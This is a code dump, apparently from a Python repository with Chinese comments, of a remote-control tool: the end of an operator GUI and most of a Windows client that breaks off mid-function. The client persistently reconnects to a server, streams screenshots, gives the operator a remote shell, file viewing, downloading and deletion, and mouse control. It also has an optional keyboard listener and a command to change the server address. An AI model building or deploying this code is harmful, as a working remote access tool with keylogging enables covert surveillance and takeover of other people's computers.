name="StateInit") # 重新初始化状态 361 | 362 | def state_init(self): 363 | """发送初始状态信息""" 364 | packets = [ 365 | { 366 | "type": STATE_INFO, 367 | "video_mode": self.sending_screen, 368 | "monitor_fps": self.screen_tab.screen_panel.controller.screen_fps_setter.input_slider.get_value(), 369 | "video_quality": self.screen_tab.screen_panel.controller.screen_quality_setter.input_slider.get_value(), 370 | }, 371 | { 372 | "type": REQ_CONFIG, # 请求配置信息 373 | }, 374 | ] 375 | for packet in packets: 376 | self.send_packet(packet) # 发送数据包 377 | 378 | def packet_recv_thread(self) -> None: 379 | """数据包接收线程""" 380 | while self.connected: 381 | try: 382 | length, packet = self.recv_packet() # 接收数据包 383 | except ConnectionError: 384 | self.connected = False # 连接断开 385 | break 386 | if packet is None: 387 | print("没有接收到数据包") 388 | sleep(0.001) 389 | continue 390 | # 打印非屏幕和PONG类型的数据包 391 | if packet["type"] != SCREEN and packet["type"] != PONG: 392 | print("接收到数据包:", packet_str(packet)) 393 | if not self.parse_packet(packet, length): # 解析数据包 394 | return 395 | print("Recv Thread Exit") 396 | 397 | def parse_packet(self, packet: Packet, length: int) -> bool: 398 | """解析数据包,返回False表示需要退出""" 399 | if packet["type"] == "drive_list": # 处理盘符列表 400 | wx.CallAfter(self.files_panel.viewer.load_packet, packet) 401 | return True 402 | 403 | # 处理不同类型的数据包 404 | if packet["type"] == KEY_EVENT: # 键盘事件 405 | wx.CallAfter(self.screen_tab.key_panel.key_press, packet["key"]) 406 | elif packet["type"] == MOUSE_EVENT: # 鼠标事件 407 | pass 408 | elif packet["type"] == "system_info": # 系统信息 409 | wx.CallAfter(self.setting_panel.client_config.update_system_info, packet["info"]) 410 | elif packet["type"] == SCREEN: # 屏幕数据 411 | start_and_return(self.parse_screen, (packet, length)) # 异步解析屏幕 412 | elif packet["type"] == HOST_NAME: # 主机名 413 | self.raw_title = packet["name"] 414 | self.SetTitle(self.raw_title) # 更新窗口标题 415 | elif packet["type"] == DIR_LIST_RESULT: # 目录列表结果 416 | wx.CallAfter(self.files_panel.viewer.load_packet, packet) 417 | 418 | # 文件查看相关处理 419 | elif packet["type"] == FILE_VIEW_CREATE: # 文件查看创建 420 | self.files_list[packet["cookie"]] = (packet["path"], b"") 421 | elif packet["type"] == FILE_VIEW_DATA: # 文件数据 422 | path, data = self.files_list[packet["cookie"]] 423 | data += b64decode(packet["data"]) # Base64解码 424 | self.files_list[packet["cookie"]] = (path, data) 425 | elif packet["type"] == FILE_VIEW_OVER: # 文件传输完成 426 | path, data = self.files_list[packet["cookie"]] 427 | wx.CallAfter(FileViewer, self, path, data) # 显示文件查看器 428 | elif packet["type"] == FILE_VIEW_ERROR: # 文件查看错误 429 | wx.CallAfter( 430 | wx.MessageBox, 431 | f"无法打开文件: {packet['path']}\n{packet['error']}", 432 | "文件查看错误", 433 | wx.OK | wx.ICON_ERROR, 434 | parent=self, 435 | ) 436 | 437 | elif packet["type"] == SHELL_OUTPUT: # 终端输出 438 | self.terminal_panel.cmd_text.load_packet(packet) 439 | elif packet["type"] == SHELL_BROKEN: # 终端中断 440 | wx.CallAfter(self.shell_broke_tip) 441 | elif packet["type"] == PONG: # PONG响应 442 | wx.CallAfter( 443 | self.screen_tab.screen_panel.controller.info_shower.update_delay, 444 | perf_counter() - packet["timer"], # 计算延迟 445 | ) 446 | elif packet["type"] == CONFIG_RESULT: # 配置结果 447 | pass # 已移除,不再需要 448 | 449 | # 文件下载处理 450 | elif packet["type"] == FILE_DOWNLOAD_START: # 文件下载开始 451 | self.file_downloads[packet["cookie"]] = { 452 | "path": packet["path"], 453 | "size": packet["size"], 454 | "data": b"", 455 | "received": 0 456 | } 457 | elif packet["type"] == FILE_DOWNLOAD_DATA: # 文件下载数据 458 | if packet["cookie"] in self.file_downloads: 459 | data = b64decode(packet["data"]) 460 | self.file_downloads[packet["cookie"]]["data"] += data 461 | self.file_downloads[packet["cookie"]]["received"] += len(data) 462 | elif packet["type"] == FILE_DOWNLOAD_END: # 文件下载完成 463 | if packet["cookie"] in self.file_downloads: 464 | file_info = self.file_downloads.pop(packet["cookie"]) 465 | self.save_downloaded_file(file_info) # 保存下载的文件 466 | elif packet["type"] == FILE_DOWNLOAD_ERROR: # 文件下载错误 467 | wx.MessageBox(f"文件下载失败: {packet['path']}\n{packet['error']}", 468 | "下载错误", wx.OK | wx.ICON_ERROR) 469 | 470 | # 文件属性处理 471 | elif packet["type"] == FILE_ATTRIBUTES_RESULT: # 文件属性结果 472 | wx.CallAfter(self.show_file_attributes, packet["attributes"]) 473 | elif packet["type"] == FILE_ATTRIBUTES_ERROR: # 文件属性错误 474 | wx.MessageBox(f"无法获取文件属性: {packet['path']}\n{packet['error']}", 475 | "属性错误", wx.OK | wx.ICON_ERROR) 476 | 477 | return True # 继续处理 478 | 479 | def shell_broke_tip(self): 480 | """终端中断提示""" 481 | ret = wx.MessageBox( 482 | "终端已损坏\n立即重启终端?", 483 | "终端错误", 484 | wx.YES_NO | wx.ICON_ERROR, 485 | parent=self, 486 | ) 487 | if ret == 2: # 用户选择是 488 | self.terminal_panel.cmd_text.restore_shell(None) # 恢复终端 489 | 490 | def parse_screen(self, packet: Packet, length: int): 491 | """解析屏幕数据包""" 492 | data = b64decode(packet["data"]) # Base64解码 493 | if packet["format"] == ScreenFormat.RAW: # RAW格式 494 | image = Image.frombuffer("RGB", packet["size"], data) 495 | elif packet["format"] == ScreenFormat.JPEG: # JPEG格式 496 | image_io = BytesIO(data) 497 | image = Image.open(image_io, formats=["JPEG"]).convert("RGB") 498 | elif packet["format"] == ScreenFormat.PNG: # PNG格式 499 | image_io = BytesIO(data) 500 | image = Image.open(image_io, formats=["PNG"]) 501 | else: 502 | raise RuntimeError("Error screen format") 503 | 504 | # 如果未预缩放,则进行缩放 505 | if not packet["pre_scale"]: 506 | target_size = self.screen_tab.screen_panel.screen_shower.GetSize() 507 | scale = max( 508 | image.size[0] / target_size[0], 509 | image.size[1] / target_size[1], 510 | ) 511 | new_width = int(image.size[0] / scale) 512 | new_height = int(image.size[1] / scale) 513 | image = image.resize((new_width, new_height), Image.BOX) 514 | packet["size"] = image.size 515 | 516 | # 转换为wxBitmap并显示 517 | bitmap = wx.Bitmap.FromBuffer(*packet["size"], image.tobytes()) 518 | self.set_screen(bitmap) # 设置屏幕 519 | self.screen_counter += 1 # 帧计数器 520 | self.screen_network_counter += length # 网络流量统计 521 | 522 | def set_screen(self, bitmap: wx.Bitmap): 523 | """设置屏幕位图""" 524 | try: 525 | self.screen_tab.screen_panel.screen_shower.set_bitmap(bitmap) 526 | except RuntimeError: # 窗口已关闭 527 | pass 528 | 529 | def set_pre_scale(self, enable: bool): 530 | """设置预缩放""" 531 | self.pre_scale = enable 532 | packet = {"type": SET_PRE_SCALE, "enable": enable} 533 | self.send_packet(packet) # 发送设置 534 | self.screen_tab.screen_panel.screen_shower.on_size() # 调整大小 535 | 536 | def set_screen_fps(self, fps: int): 537 | """设置屏幕帧率""" 538 | packet = {"type": SET_SCREEN_FPS, "fps": fps} 539 | self.send_packet(packet) 540 | 541 | def set_screen_quality(self, quality: int): 542 | """设置屏幕质量""" 543 | packet = {"type": SET_SCREEN_QUALITY, "quality": quality} 544 | self.send_packet(packet) 545 | 546 | def send_command(self, command: str): 547 | """发送终端命令""" 548 | self.shell_send_data((command + "\r\n").encode("gbk")) # GBK编码 549 | 550 | def shell_send_data(self, data: bytes): 551 | """发送终端数据""" 552 | packet = {"type": SHELL_INPUT, "text": b64encode(data)} # Base64编码 553 | self.send_packet(packet) 554 | 555 | def restore_shell(self): 556 | """恢复终端""" 557 | packet = {"type": SHELL_INIT} 558 | self.send_packet(packet) 559 | 560 | def set_mouse_ctl(self, enable: bool): 561 | """设置鼠标控制""" 562 | self.mouse_control = enable 563 | 564 | def set_keyboard_ctl(self, enable: bool): 565 | """设置键盘控制""" 566 | self.keyboard_control = enable 567 | 568 | def set_screen_send(self, enable: bool): 569 | """设置屏幕发送""" 570 | self.sending_screen = enable 571 | self.screen_tab.screen_panel.controller.control_setter.video_mode_ctl.SetValue(enable) 572 | packet = {"type": SET_SCREEN_SEND, "enable": enable} 573 | self.send_packet(packet) 574 | 575 | def on_close(self, _: wx.CloseEvent): 576 | """关闭窗口事件处理""" 577 | self.Show(False) # 隐藏窗口而不是关闭 578 | return False # 阻止关闭 579 | 580 | # 网络底层接口 581 | def packet_send_thread(self): 582 | """数据包发送线程""" 583 | self.packet_manager.packet_send_thread() 584 | print("Send Thread Exited") 585 | 586 | def send_packet( 587 | self, packet: Packet, loss_enable: bool = False, priority: int = Priority.HIGHER 588 | ) -> None: 589 | """发送数据包""" 590 | if packet["type"] != PING: # 不打印PING包 591 | print(f"发送数据包: {packet_str(packet)}") 592 | return self.packet_manager.send_packet(packet, loss_enable, priority) 593 | 594 | def recv_packet(self) -> tuple[int, None] | tuple[int, Packet]: 595 | """接收数据包""" 596 | return self.packet_manager.recv_packet() 597 | 598 | def save_downloaded_file(self, file_info: dict): 599 | """保存下载的文件""" 600 | with wx.FileDialog( 601 | self, 602 | "保存文件", 603 | wildcard="All files (*.*)|*.*", 604 | defaultFile=os.path.basename(file_info["path"]), 605 | style=wx.FD_SAVE | wx.FD_OVERWRITE_PROMPT 606 | ) as dlg: 607 | if dlg.ShowModal() == wx.ID_OK: # 用户确认保存 608 | path = dlg.GetPath() 609 | try: 610 | with open(path, "wb") as f: 611 | f.write(file_info["data"]) # 写入文件数据 612 | wx.MessageBox(f"文件已保存到: {path}", "下载完成", wx.OK | wx.ICON_INFORMATION) 613 | except Exception as e: 614 | wx.MessageBox(f"保存文件失败: {str(e)}", "错误", wx.OK | wx.ICON_ERROR) 615 | 616 | def show_file_attributes(self, attributes: dict): 617 | """显示文件属性对话框""" 618 | dlg = wx.Dialog(self, title="文件属性", size=(400, 300)) 619 | panel = wx.Panel(dlg) 620 | sizer = wx.BoxSizer(wx.VERTICAL) 621 | 622 | # 创建属性表格 623 | grid = wx.FlexGridSizer(cols=2, vgap=5, hgap=10) 624 | grid.Add(wx.StaticText(panel, label="路径:")) 625 | grid.Add(wx.StaticText(panel, label=attributes["path"])) 626 | 627 | grid.Add(wx.StaticText(panel, label="大小:")) 628 | grid.Add(wx.StaticText(panel, label=f"{attributes['size']} 字节")) 629 | 630 | grid.Add(wx.StaticText(panel, label="创建时间:")) 631 | grid.Add(wx.StaticText(panel, label=time.strftime( 632 | "%Y-%m-%d %H:%M:%S", time.localtime(attributes["created"])))) 633 | 634 | grid.Add(wx.StaticText(panel, label="修改时间:")) 635 | grid.Add(wx.StaticText(panel, label=time.strftime( 636 | "%Y-%m-%d %H:%M:%S", time.localtime(attributes["modified"])))) 637 | 638 | grid.Add(wx.StaticText(panel, label="类型:")) 639 | grid.Add(wx.StaticText(panel, label="目录" if attributes["is_dir"] else "文件")) 640 | 641 | sizer.Add(grid, flag=wx.ALL, border=20) 642 | sizer.Add(wx.Button(panel, wx.ID_OK), flag=wx.ALIGN_CENTER | wx.BOTTOM, border=10) 643 | 644 | panel.SetSizer(sizer) 645 | dlg.ShowModal() # 显示模态对话框 646 | 647 | @property 648 | def connected(self): 649 | """连接状态属性""" 650 | return self.__connected 651 | 652 | @connected.setter 653 | def connected(self, value: bool): 654 | """设置连接状态""" 655 | if value: 656 | self.connected_start = perf_counter() # 重置连接时间 657 | self.SetTitle(self.raw_title) # 恢复原始标题 658 | else: 659 | self.SetTitle(self.raw_title + " (未连接)") # 添加未连接标记 660 | self.__connected = value 661 | self.packet_manager.connected = value # 更新数据包管理器状态 662 | 663 | 664 | if __name__ == "__main__": 665 | # 主程序入口 666 | font: wx.Font = wx.SystemSettings.GetFont(wx.SYS_DEFAULT_GUI_FONT) 667 | font.SetPointSize(11) # 设置默认字体大小 668 | # wx.SizerFlags.DisableConsistencyChecks() 669 | ctypes.windll.shell32.SetCurrentProcessExplicitAppUserModelID("product") # 设置应用ID 670 | timer = perf_counter() 671 | client_list = ClientListWindow() # 创建客户端列表窗口 672 | print(f"初始化时间: {ms(timer)} ms") 673 | app.MainLoop() # 启动主事件循环 674 | -------------------------------------------------------------------------------- /client.py: -------------------------------------------------------------------------------- 1 | import os 2 | from platform import platform, machine, processor # 获取系统信息 3 | import psutil # 系统资源监控 4 | import ctypes # Windows API调用 5 | import random # 随机数生成 6 | import _ctypes # C类型支持 7 | import win32api # Windows API封装 8 | import win32con # Windows常量 9 | import threading # 多线程支持 10 | from PIL import Image, ImageGrab # 图像处理 11 | from time import time, sleep # 时间相关 12 | from io import BytesIO # 内存字节流 13 | from typing import Callable, Optional # 类型提示 14 | from os import remove # 文件删除 15 | from pynput import keyboard # 键盘监听 16 | from msvcrt import get_osfhandle # 获取文件句柄 17 | from base64 import b64encode, b64decode # Base64编解码 18 | from subprocess import Popen, PIPE, STDOUT # 子进程管理 19 | from _winapi import PeekNamedPipe, ReadFile # Windows管道操作 20 | from dxcampil import create as create_camera # 高性能截图库 21 | 22 | from libs.packets import * # 数据包相关 23 | from libs.action import * # 动作管理 24 | from libs.config import * # 配置管理 25 | 26 | # 固定设置项 27 | ERROR_DEBUG = True # 启用错误调试模式 28 | 29 | def random_hex(length: int) -> str: 30 | """生成随机16进制字符串""" 31 | return hex(int.from_bytes(random.randbytes(length), "big"))[2:] 32 | 33 | class ClientStopped(BaseException): 34 | """客户端停止异常""" 35 | pass 36 | 37 | class ClientRestart(BaseException): 38 | """客户端重启异常""" 39 | pass 40 | 41 | class TimerLoop: 42 | """定时循环执行器""" 43 | def __init__(self, interval: float, checker: Callable[[], bool], callback: Callable[[], None]): 44 | """ 45 | 初始化定时器 46 | :param interval: 检查间隔(秒) 47 | :param checker: 检查函数,返回True时执行回调 48 | :param callback: 回调函数 49 | """ 50 | self.interval = interval # 检查间隔 51 | self.checker = checker # 条件检查函数 52 | self.callback = callback # 回调函数 53 | self.ran = False # 是否已运行过 54 | self.running = False # 是否正在运行 55 | self.timer = None # 定时器对象 56 | self.lock = threading.Lock() # 线程锁 57 | 58 | def start(self): 59 | """启动定时器""" 60 | with self.lock: 61 | if not self.running: 62 | self.timer = threading.Timer(self.interval, self.checking) 63 | self.timer.start() 64 | self.running = True 65 | 66 | def checking(self): 67 | """定时检查并执行回调""" 68 | with self.lock: 69 | if self.checker(): # 检查条件 70 | if not self.ran: # 如果尚未运行 71 | self.callback() # 执行回调 72 | self.ran = True 73 | else: 74 | self.ran = False # 重置运行状态 75 | 76 | if self.running: # 继续下一次检查 77 | self.timer = threading.Timer(self.interval, self.checking) 78 | self.timer.start() 79 | 80 | def pause(self, pause: bool = True): 81 | """暂停/恢复定时器""" 82 | with self.lock: 83 | if pause and self.running: # 暂停 84 | self.timer.cancel() 85 | self.running = False 86 | elif not pause and not self.running: # 恢复 87 | self.timer = threading.Timer(self.interval, self.checking) 88 | self.timer.start() 89 | self.running = True 90 | 91 | def stop(self): 92 | """停止定时器""" 93 | with self.lock: 94 | self.timer.cancel() 95 | self.running = False 96 | 97 | class ActionManager: 98 | """动作管理器,用于管理定时任务""" 99 | def __init__(self): 100 | self.actions: dict[str, tuple[TheAction, TimerLoop]] = {} # 存储所有动作 101 | 102 | def add_action(self, action: TheAction) -> str: 103 | """添加一个定时任务""" 104 | print(action.build_packet()) 105 | uuid = random_hex(8) # 生成唯一ID 106 | timer_loop = TimerLoop(action.check_inv, action.check, action.execute) 107 | timer_loop.start() 108 | self.actions[uuid] = (action, timer_loop) 109 | return uuid # 返回任务ID 110 | 111 | def stop2clear(self): 112 | """停止所有定时任务并清空""" 113 | for _, timer in self.actions.values(): 114 | timer.stop() 115 | self.actions.clear() 116 | 117 | class Client: 118 | """主客户端类""" 119 | def __init__(self, config: Config) -> None: 120 | """初始化客户端""" 121 | self.config = config # 配置对象 122 | self.host = config.host # 服务器地址 123 | self.port = config.port # 服务器端口 124 | self.uuid = config.uuid # 客户端唯一标识 125 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 套接字 126 | 127 | # 鼠标按键映射 128 | self.mouse_key_map = { 129 | "left": (win32con.MOUSEEVENTF_LEFTDOWN, win32con.MOUSEEVENTF_LEFTUP), 130 | "middle": (win32con.MOUSEEVENTF_MIDDLEDOWN, win32con.MOUSEEVENTF_MIDDLEUP), 131 | "right": (win32con.MOUSEEVENTF_RIGHTDOWN, win32con.MOUSEEVENTF_RIGHTUP), 132 | } 133 | 134 | self.log_stack = {} # 日志堆栈 135 | self.__connected = False # 连接状态 136 | self.threads: list[Thread] = [] # 线程列表 137 | self.system_info = self.get_system_info() # 系统信息 138 | 139 | # 屏幕传输相关 140 | self.sending_screen = False # 是否发送屏幕 141 | self.screen_fps = 10 # 发送屏幕帧率 142 | self.shell_stop_flag = False # 是否停止shell 143 | self.screen_format: str = ScreenFormat.JPEG # 屏幕传输格式 144 | self.screen_quality = 80 # JPEG质量 145 | self.pre_scaled = True # 是否预缩放 146 | self.screen_size: tuple[int, int] = (860, 540) # 预缩放大小 147 | 148 | try: 149 | self.camera = create_camera() # 尝试使用dxcam截图 150 | self.use_dxcam = True 151 | except Exception as e: 152 | print(f"无法初始化dxcam相机,将使用PIL.ImageGrab替代: {e}") 153 | self.camera = None 154 | self.use_dxcam = False 155 | 156 | self.key_listener = None # 键盘监听器 157 | self.shell_thread_running = False # shell线程运行状态 158 | self.shell: Popen = None # shell进程 159 | 160 | self.packet_manager = PacketManager(self.connected) # 数据包管理器 161 | self.action_manager = ActionManager() # 动作管理器 162 | print("客户端初始化完成") 163 | 164 | def log(self, *values: object): 165 | """记录日志""" 166 | text = " ".join(map(str, values)) 167 | self.log_stack[time()] = text 168 | print(text) 169 | 170 | def log_send_thread(self): 171 | """日志发送线程""" 172 | while self.connected: 173 | for i in range(10): # 每次最多发送10条日志 174 | try: 175 | min_time = min(self.log_stack.keys()) # 获取最早的日志 176 | text = self.log_stack.pop(min_time) 177 | packet_data = { 178 | "type": "log", 179 | "level": "info", 180 | "text": text, 181 | "time": time(), 182 | } 183 | self.send_packet(packet_data) 184 | except (KeyError, ValueError): # 没有日志可发送 185 | break 186 | sleep(0.1) # 短暂休眠 187 | 188 | def start(self) -> None: 189 | """启动客户端主循环""" 190 | print("启动客户端") 191 | print("开始尝试连接至服务器") 192 | self.connect_until() # 持续尝试连接 193 | self.log("成功连接至服务器!") 194 | self.sock.sendall(int(self.uuid, 16).to_bytes(8, "big")) # 发送UUID 195 | 196 | # 启动各种线程 197 | self.shell_thread = start_and_return(self.shell_output_thread) 198 | self.threads.append(self.shell_thread) 199 | self.threads.append(start_and_return(self.log_send_thread)) 200 | self.threads.append(start_and_return(self.packet_send_thread)) 201 | self.threads.append(start_and_return(self.connection_init)) 202 | self.threads.append(start_and_return(self.screen_send_thread)) 203 | 204 | # 主循环 205 | while self.connected: 206 | try: 207 | length, packet = self.recv_packet() # 接收数据包 208 | except ConnectionError: 209 | self.connected = False 210 | break 211 | 212 | if packet is None: # 无数据包 213 | print("\r没有接收到数据包", end="") 214 | sleep(0.001) 215 | continue 216 | 217 | if packet["type"] != PING: # 非PING包打印日志 218 | print("接收到数据包:", packet_str(packet)) 219 | 220 | if not self.parse_packet(packet): # 解析数据包 221 | raise ClientStopped 222 | 223 | # 清理工作 224 | if self.config.record_key: 225 | self.key_listener.stop() 226 | print("停止") 227 | for thread in self.threads: 228 | thread.join() 229 | 230 | def connection_init(self): 231 | """初始化连接,发送基本信息""" 232 | drives = self.get_available_drives() # 获取驱动器列表 233 | packets = [ 234 | {"type": HOST_NAME, "name": socket.gethostname()}, # 主机名 235 | self.get_screen_packet(), # 屏幕截图 236 | {"type": "drive_list", "drives": drives}, # 驱动器列表 237 | {"type": "system_info", "info": self.system_info} # 系统信息 238 | ] 239 | for packet in packets: 240 | if packet: 241 | self.send_packet(packet) 242 | 243 | def get_screen_packet(self) -> Optional[Packet]: 244 | """获取屏幕截图数据包""" 245 | cost = perf_counter() 246 | try: 247 | if self.use_dxcam: # 使用dxcam截图 248 | try: 249 | screen = self.camera.grab() 250 | except _ctypes.COMError: 251 | print("dxcam相机错误,切换到ImageGrab") 252 | self.use_dxcam = False 253 | screen = ImageGrab.grab() 254 | else: # 使用PIL截图 255 | screen = ImageGrab.grab() 256 | except Exception as e: 257 | print(f"截图失败: {e}") 258 | return None 259 | 260 | if screen is None: 261 | return None 262 | 263 | cost2 = perf_counter() 264 | 265 | if self.pre_scaled: # 预缩放处理 266 | scale = max( 267 | screen.size[0] / self.screen_size[0], 268 | screen.size[1] / self.screen_size[1], 269 | ) 270 | new_width = int(screen.size[0] / scale) 271 | new_height = int(screen.size[1] / scale) 272 | screen = screen.resize((new_width, new_height), Image.BOX) 273 | 274 | cost3 = perf_counter() 275 | fmt = self.screen_format[:] # 获取格式 276 | 277 | # 根据格式编码图像 278 | if fmt == ScreenFormat.JPEG: 279 | image_io = BytesIO() 280 | screen.save(image_io, format="JPEG", quality=self.screen_quality) 281 | elif fmt == ScreenFormat.PNG: 282 | image_io = BytesIO() 283 | screen.save(image_io, format="PNG") 284 | elif fmt == ScreenFormat.RAW: 285 | image_io = BytesIO() 286 | image_io.write(screen.tobytes()) 287 | else: # 默认回退到JPEG 288 | self.screen_format = ScreenFormat.JPEG 289 | return self.get_screen_packet() 290 | 291 | cost4 = perf_counter() 292 | image_bytes = image_io.getvalue() 293 | image_text = b64encode(image_bytes).decode("utf-8") # Base64编码 294 | 295 | # 构建数据包 296 | packet = { 297 | "type": SCREEN, 298 | "size": screen.size, 299 | "format": fmt, 300 | "pre_scale": self.pre_scaled, 301 | "data": image_text, 302 | } 303 | return packet 304 | 305 | def screen_send_thread(self): 306 | """屏幕发送线程""" 307 | last_send = perf_counter() 308 | while self.connected: 309 | try: 310 | if not self.sending_screen: # 未启用屏幕发送 311 | sleep(0.1) 312 | continue 313 | 314 | current_time = perf_counter() 315 | time_since_last = current_time - last_send 316 | target_interval = 1 / self.screen_fps # 计算目标间隔 317 | 318 | if time_since_last < target_interval: # 控制帧率 319 | sleep(target_interval - time_since_last) 320 | continue 321 | 322 | last_send = current_time 323 | packet = self.get_screen_packet() # 获取屏幕数据包 324 | if packet is None: 325 | sleep(0.1) 326 | continue 327 | 328 | self.send_packet(packet, True) # 发送数据包 329 | except Exception as e: 330 | print(f"屏幕传输线程错误: {e}") 331 | sleep(1) 332 | 333 | def run_infinitely(self) -> bool: 334 | """无限运行循环,需要退出时返回False""" 335 | while True: 336 | try: 337 | if ERROR_DEBUG: # 调试模式 338 | self.start() 339 | continue 340 | try: 341 | self.start() 342 | except Exception: 343 | print("遇到未捕获的错误: 重启客户端") 344 | break 345 | except KeyboardInterrupt: # 用户中断 346 | print("运行被用户终止") 347 | self.connected = False 348 | return False 349 | 350 | def parse_packet(self, packet: Packet) -> bool: 351 | """解析数据包,返回False表示需要退出""" 352 | if packet["type"] == SET_MOUSE_POS: # 设置鼠标位置 353 | win32api.SetCursorPos((packet["x"], packet["y"])) 354 | elif packet["type"] == SET_MOUSE_BUTTON: # 设置鼠标按键状态 355 | mouse_flag = self.mouse_key_map[packet["button"]][packet["state"]] 356 | win32api.mouse_event(packet["x"], packet["y"], 0, mouse_flag) 357 | elif packet["type"] == FILE_DOWNLOAD: # 文件下载 358 | start_and_return(self.file_download_thread, (packet,)) 359 | elif packet["type"] == FILE_ATTRIBUTES: # 获取文件属性 360 | start_and_return(self.get_file_attributes, (packet,)) 361 | elif packet["type"] == SET_SCREEN_FORMAT: # 设置屏幕格式 362 | self.screen_format = packet["format"] 363 | elif packet["type"] == SET_SCREEN_FPS: # 设置屏幕帧率 364 | self.screen_fps = packet["fps"] 365 | elif packet["type"] == SET_SCREEN_SIZE: # 设置屏幕大小 366 | self.screen_size = packet["size"] 367 | elif packet["type"] == SET_PRE_SCALE: # 设置预缩放 368 | self.pre_scaled = packet["enable"] 369 | elif packet["type"] == SET_SCREEN_QUALITY: # 设置屏幕质量 370 | self.screen_quality = packet["quality"] 371 | elif packet["type"] == SET_SCREEN_SEND: # 设置是否发送屏幕 372 | self.sending_screen = packet["enable"] 373 | elif packet["type"] == GET_SCREEN: # 获取屏幕截图 374 | restore = False 375 | if not self.pre_scaled: 376 | restore = True 377 | self.pre_scaled = True 378 | self.screen_size = packet["size"] 379 | screen_packet = self.get_screen_packet() 380 | if restore: 381 | self.pre_scaled = False 382 | if screen_packet is not None: 383 | self.send_packet(screen_packet) 384 | 385 | elif packet["type"] == REQ_LIST_DIR: # 请求目录列表 386 | packet = self.get_files_packet(packet["path"]) 387 | self.send_packet(packet) 388 | elif packet["type"] == FILE_VIEW: # 查看文件内容 389 | start_and_return(self.file_view_thread, (packet,)) 390 | elif packet["type"] == FILE_DELETE: # 删除文件 391 | remove(packet["path"]) 392 | elif packet["type"] == SHELL_INIT: # 初始化shell 393 | self.restore_shell() 394 | elif packet["type"] == SHELL_INPUT: # shell输入 395 | try: 396 | self.shell.stdin.write(b64decode(packet["text"])) 397 | self.shell.stdin.flush() 398 | except OSError: 399 | self.send_packet({"type": SHELL_BROKEN}) 400 | elif packet["type"] == PING: # ping包 401 | self.send_packet({"type": "pong", "timer": packet["timer"]}, priority=Priority.HIGHEST) 402 | elif packet["type"] == STATE_INFO: # 状态信息 403 | self.sending_screen = packet["video_mode"] 404 | self.screen_fps = packet["monitor_fps"] 405 | self.screen_quality = packet["video_quality"] 406 | elif packet["type"] == ACTION_ADD: # 添加动作 407 | self.action_manager.add_action(TheAction.from_packet(packet)) 408 | elif packet["type"] == CLIENT_RESTART: # 客户端重启 409 | raise ClientRestart 410 | elif packet["type"] == CHANGE_ADDRESS: # 更改服务器地址 411 | self.config.host_changed = [self.config.host, self.config.port].copy() 412 | self.config.host = packet["host"] 413 | self.config.port = packet["port"] 414 | self.config.save_config() 415 | elif packet["type"] == CHANGE_CONFIG: # 更改配置 416 | setattr(self.config, packet["key"], packet["value"]) 417 | elif packet["type"] == REQ_CONFIG: # 请求配置 418 | self.send_packet({"type": CONFIG_RESULT, "config": self.config.raw_config}) 419 | return True # 继续运行 420 | 421 | def file_view_thread(self, packet: Packet): 422 | """文件查看线程""" 423 | file_block = self.config.file_block # 文件块大小 424 | path = packet["path"] # 文件路径 425 | data_max_size = packet["data_max_size"] # 最大数据大小 426 | 427 | # 错误数据包模板 428 | error_packet = {"type": FILE_VIEW_ERROR, "path": path, "error": "未知错误"} 429 | 430 | try: 431 | # 尝试打开并读取文件 432 | with open(path, "rb") as file: 433 | data = file.read(data_max_size) 434 | except FileNotFoundError: 435 | error_packet["error"] = "文件不存在" 436 | self.send_packet(error_packet) 437 | return 438 | except PermissionError: 439 | error_packet["error"] = "权限不足" 440 | self.send_packet(error_packet) 441 | return 442 | except OSError: 443 | self.send_packet(error_packet) 444 | return 445 | 446 | # 生成随机cookie标识本次文件传输 447 | cookie = hex(int.from_bytes(random.randbytes(8), "big"))[2:] 448 | 449 | # 发送文件查看开始包 450 | packet = {"type": FILE_VIEW_CREATE, "path": path, "cookie": cookie} 451 | self.send_packet(packet) 452 | 453 | # 分块发送文件数据 454 | for block in [data[i : i + file_block] for i in range(0, len(data), file_block)]: 455 | packet = { 456 | "type": FILE_VIEW_DATA, 457 | "path": path, 458 | "data": b64encode(block).decode("utf-8"), 459 | "cookie": cookie, 460 | } 461 | self.send_packet(packet, priority=Priority.NORMAL) 462 | 463 | # 发送文件查看结束包 464 | packet = {"type": FILE_VIEW_OVER, "path": path, "cookie": cookie} 465 | self.send_packet(packet, priority=Priority.LOWER) 466 | 467 | def shell_output_thread(self): 468 | """shell输出线程""" 469 | self.shell_thread_running = True 470 | print("终端输出线程启动") 471 | try: 472 | while self.connected and (not self.shell_stop_flag): 473 | try: 474 | output = self.get_output() # 获取shell输出 475 | if output: 476 | packet = {"type": SHELL_OUTPUT, "output": output} 477 | self.send_packet(packet, priority=Priority.NORMAL) 478 | except BrokenPipeError: # 管道破裂 479 | self.send_packet({"type": SHELL_BROKEN}) 480 | break 481 | except OSError: 482 | break 483 | except Exception as e: 484 | print(e) 485 | print("终端输出线程停止") 486 | self.shell_thread_running = False 487 | 488 | def get_output(self) -> str: 489 | """获取shell进程输出""" 490 | output = "" 491 | handle = get_osfhandle(self.shell.stdout.fileno()) # 获取文件句柄 492 | avail_count, _ = PeekNamedPipe(handle, 0) # 检查管道中是否有数据 493 | 494 | if avail_count > 0: 495 | output, _ = ReadFile(handle, avail_count) # 读取数据 496 | output = output.decode("cp936", "ignore") # 解码输出(使用中文编码) 497 | 498 | return output if bool(output) else "" # 返回非空输出 499 | 500 | def connect_until(self): 501 | """持续尝试连接服务器""" 502 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 503 | host_changed: list[str, int] | None = self.config.host_changed # 服务器地址是否变更过 504 | reconnect_time = self.config.reconnect_time # 重连等待时间 505 | 506 | while not self.connected: 507 | if self.try_connect(): # 尝试连接 508 | break 509 | 510 | # 如果服务器地址变更过,恢复原地址 511 | if host_changed is not None: 512 | self.config.host = host_changed[0] 513 | self.config.port = host_changed[1] 514 | self.config.host_changed = False 515 | self.config.save_config() 516 | 517 | # 等待重连 518 | self.scroll_sleep(reconnect_time, "连接失败, 等待{}秒后重连: {}s") 519 | 520 | # 指数退避算法增加重连时间 521 | if self.config.timeout_add: 522 | reconnect_time *= self.config.timeout_add_multiplier 523 | reconnect_time = int(reconnect_time) 524 | if reconnect_time > 60: # 最大等待60秒 525 | reconnect_time = 60 526 | 527 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建新socket 528 | 529 | def on_key_press(self, key): 530 | """键盘按下事件回调""" 531 | start_and_return(self._on_key_press, (key,)) # 在新线程中处理 532 | 533 | def _on_key_press(self, key): 534 | """实际处理键盘事件的函数""" 535 | if isinstance(key, keyboard.Key): # 特殊按键 536 | s = key.name 537 | if key 